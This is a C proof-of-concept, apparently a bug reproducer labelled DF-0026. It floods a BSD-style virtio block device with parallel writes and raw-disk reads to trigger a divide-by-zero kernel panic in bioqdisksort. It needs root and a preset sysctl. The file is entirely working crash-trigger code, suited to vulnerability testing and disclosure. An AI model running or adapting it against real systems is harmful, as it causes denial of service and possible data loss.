DF-0026 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | /* * DF-0026 div0 trigger (aggressive). * * Strategy: flood the vtblk virtqueue with parallel WRITE bios (via many * processes writing large files in small blocks + explicit sync), while * simultaneously issuing READ bios against the raw disk. When the write * queue backs up into vtblk_bioq (bioq->transition != NULL) and a READ * arrives, bioqdisksort() hits `reorder % 0` -> #DE -> panic. * * Requires: kern.bioq_reorder_minor_interval already set to 0 (by caller). * Must be run as root (for raw disk access + already-set sysctl). * * WARNING: panics the kernel. Disposable VM only. */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/wait.h> #define NWRITERS 16 #define NREADERS 8 #define FILEBLKS 2000 /* 2k * 4k = 8MB per writer file */ #define BLKSIZE 4096 static volatile sig_atomic_t go = 0; static void setgo(int sig) { go = 1; } static void writer(int idx) { char path[128]; char buf[BLKSIZE]; int fd, i; memset(buf, idx & 0xff, sizeof(buf)); snprintf(path, sizeof(path), "/root/poc/w%d.bin", idx); fd = open(path, O_RDWR | O_CREAT | O_TRUNC | O_SYNC, 0644); if (fd < 0) { perror("open writer"); _exit(1); } /* spin until coordinator says go */ while (!go) { } for (i = 0; i < FILEBLKS; i++) { if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { /* if we panic the kernel, writes will fail; that's fine */ break; } /* periodically fsync to push dirty buffers to device ASAP */ if ((i & 0x3f) == 0) fsync(fd); } close(fd); _exit(0); } static void reader(int idx) { char buf[BLKSIZE]; int fd, i; /* raw disk reads bypass buf cache -> direct READ bios to vtblk */ fd = open("/dev/vbd0", O_RDONLY); if (fd < 0) { perror("open vbd0"); _exit(1); } while (!go) { } for (i = 0; i < 20000; i++) { /* small random-ish reads scattered across the disk */ off_t off = ((off_t)(i * 7919 + idx * 104729) % (30L*1024*1024*1024 / BLKSIZE)) * BLKSIZE; if (pread(fd, buf, sizeof(buf), off) != sizeof(buf)) { break; /* kernel panic will kill us */ } } close(fd); _exit(0); } int main(void) { int i, status; pid_t pids[64]; int npids = 0; signal(SIGUSR1, setgo); printf("[*] spawning %d writers + %d readers\n", NWRITERS, NREADERS); for (i = 0; i < NWRITERS; i++) { pid_t p = fork(); if (p == 0) writer(i); if (p > 0) pids[npids++] = p; } for (i = 0; i < NREADERS; i++) { pid_t p = fork(); if (p == 0) reader(i); if (p > 0) pids[npids++] = p; } /* give children time to open fds and reach the spin barrier */ usleep(200000); printf("[*] releasing flood (sysctl=%d)\n", 0); /* broadcast go */ for (i = 0; i < npids; i++) kill(pids[i], SIGUSR1); /* also do a sync to push writes */ sync(); /* wait (if the kernel panics we never get here) */ for (i = 0; i < npids; i++) wait(&status); printf("[*] all children exited (no panic observed)\n"); return 0; } |